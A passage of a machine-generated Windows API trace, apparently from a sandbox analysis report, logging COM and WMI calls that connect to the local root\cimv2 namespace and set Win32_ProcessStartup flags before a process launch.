riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4d1e00) returned 0x0 [0124.242] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1e00, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0124.242] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1e00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0124.242] WbemLocator:IUnknown:AddRef (This=0x1b4d1e00) returned 0x3 [0124.242] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1e00, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0124.242] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1e00, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0124.242] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1e00, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0124.242] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0124.242] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0124.242] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1e00, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0124.242] WbemLocator:IUnknown:Release (This=0x1b4d1e00) returned 0x2 [0124.242] WbemLocator:IUnknown:Release (This=0x1b4d1e00) returned 0x1 [0124.242] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0124.242] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0124.242] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1e00, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4d1e00) returned 0x0 [0124.242] WbemLocator:IUnknown:AddRef (This=0x1b4d1e00) returned 0x3 [0124.242] WbemLocator:IUnknown:Release (This=0x1b4d1e00) returned 0x2 [0124.242] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0124.242] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0124.242] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.242] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4d19c0) returned 0x0 [0124.243] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d19c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4e0fb0) returned 0x0 [0124.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0fb0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b511d50) returned 0x0 [0124.412] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511d50, pProxy=0x1b4e0fb0, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0124.412] WbemLocator:IUnknown:Release (This=0x1b511d50) returned 0x1 [0124.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0fb0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b511d98) returned 0x0 [0124.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0fb0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b511d50) returned 0x0 [0124.412] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511d50, pProxy=0x1b4e0fb0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0124.413] WbemLocator:IUnknown:Release (This=0x1b511d50) returned 0x2 [0124.413] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x1 [0124.413] CoTaskMemFree (pv=0x1b4619d0) [0124.413] WbemLocator:IUnknown:Release (This=0x1b4d19c0) returned 0x0 [0124.413] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0fb0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b511d98) returned 0x0 [0124.413] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0124.445] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0124.445] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0fb0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0124.446] WbemLocator:IUnknown:AddRef (This=0x1b511d98) returned 0x3 [0124.446] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0124.446] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0124.446] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b511c78) returned 0x0 [0124.446] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511c78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.446] WbemLocator:IUnknown:Release (This=0x1b511c78) returned 0x3 [0124.446] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0124.446] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0124.446] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b511d60) returned 0x0 [0124.446] WbemLocator:IRpcOptions:Query (in: This=0x1b511d60, pPrx=0x1b511d98, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0124.446] WbemLocator:IUnknown:Release (This=0x1b511d60) returned 0x3 [0124.447] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x2 [0124.447] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0124.447] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0124.447] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4e0fb0) returned 0x0 [0124.447] WbemLocator:IUnknown:AddRef (This=0x1b4e0fb0) returned 0x4 [0124.447] WbemLocator:IUnknown:Release (This=0x1b4e0fb0) returned 0x3 [0124.447] WbemLocator:IUnknown:Release (This=0x1b4e0fb0) returned 0x2 [0124.447] SysStringLen (param_1=0x0) returned 0x0 [0124.447] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0124.447] WbemLocator:IUnknown:AddRef (This=0x1b511d98) returned 0x3 [0124.447] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511d98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b511d98) returned 0x0 [0124.447] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x3 [0124.447] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x2 [0124.447] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0124.447] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0124.447] IWbemServices:GetObject (in: This=0x1b4e0fb0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d9110, ppCallResult=0x0) returned 0x0 [0124.449] IWbemClassObject:Get (in: This=0x1b4d9110, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0124.450] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0124.450] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0124.450] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0124.450] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0124.450] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0124.450] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.451] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4d16e0) returned 0x0 [0124.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d16e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0124.451] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d16e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x656330) returned 0x0 [0124.451] WbemDefPath:IUnknown:Release (This=0x1b4d16e0) returned 0x0 [0124.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x656330) returned 0x0 [0124.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0124.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0124.452] WbemDefPath:IUnknown:AddRef (This=0x656330) returned 0x3 [0124.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0124.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0124.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4d1700) returned 0x0 [0124.452] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1700, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.452] WbemDefPath:IUnknown:Release (This=0x1b4d1700) returned 0x3 [0124.452] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0124.452] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0124.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0124.452] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x2 [0124.452] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x1 [0124.452] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0124.452] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0124.452] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x656330) returned 0x0 [0124.452] WbemDefPath:IUnknown:AddRef (This=0x656330) returned 0x3 [0124.452] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x2 [0124.452] WbemDefPath:IWbemPath:SetText (This=0x656330, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0124.452] IWbemClassObject:Get (in: This=0x1b4d9110, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2787280*=0, plFlavor=0x2787284*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2787280*=19, plFlavor=0x2787284*=0) returned 0x0 [0124.453] IWbemClassObject:Get (in: This=0x1b4d9110, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2787280*=19, plFlavor=0x2787284*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2787280*=19, plFlavor=0x2787284*=0) returned 0x0 [0124.453] IWbemClassObject:Put (This=0x1b4d9110, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0124.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0124.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0124.453] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0124.453] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.453] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0124.453] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0124.453] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0124.453] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.454] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4d1c20) returned 0x0 [0124.454] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1c20, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0124.454] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1c20, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x656cf0) returned 0x0 [0124.454] WbemDefPath:IUnknown:Release (This=0x1b4d1c20) returned 0x0 [0124.454] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x656cf0) returned 0x0 [0124.454] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0124.454] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0124.454] WbemDefPath:IUnknown:AddRef (This=0x656cf0) returned 0x3 [0124.454] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0124.454] WbemDefPath:IUnknown:QueryInterface (in: This=0x656cf0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, 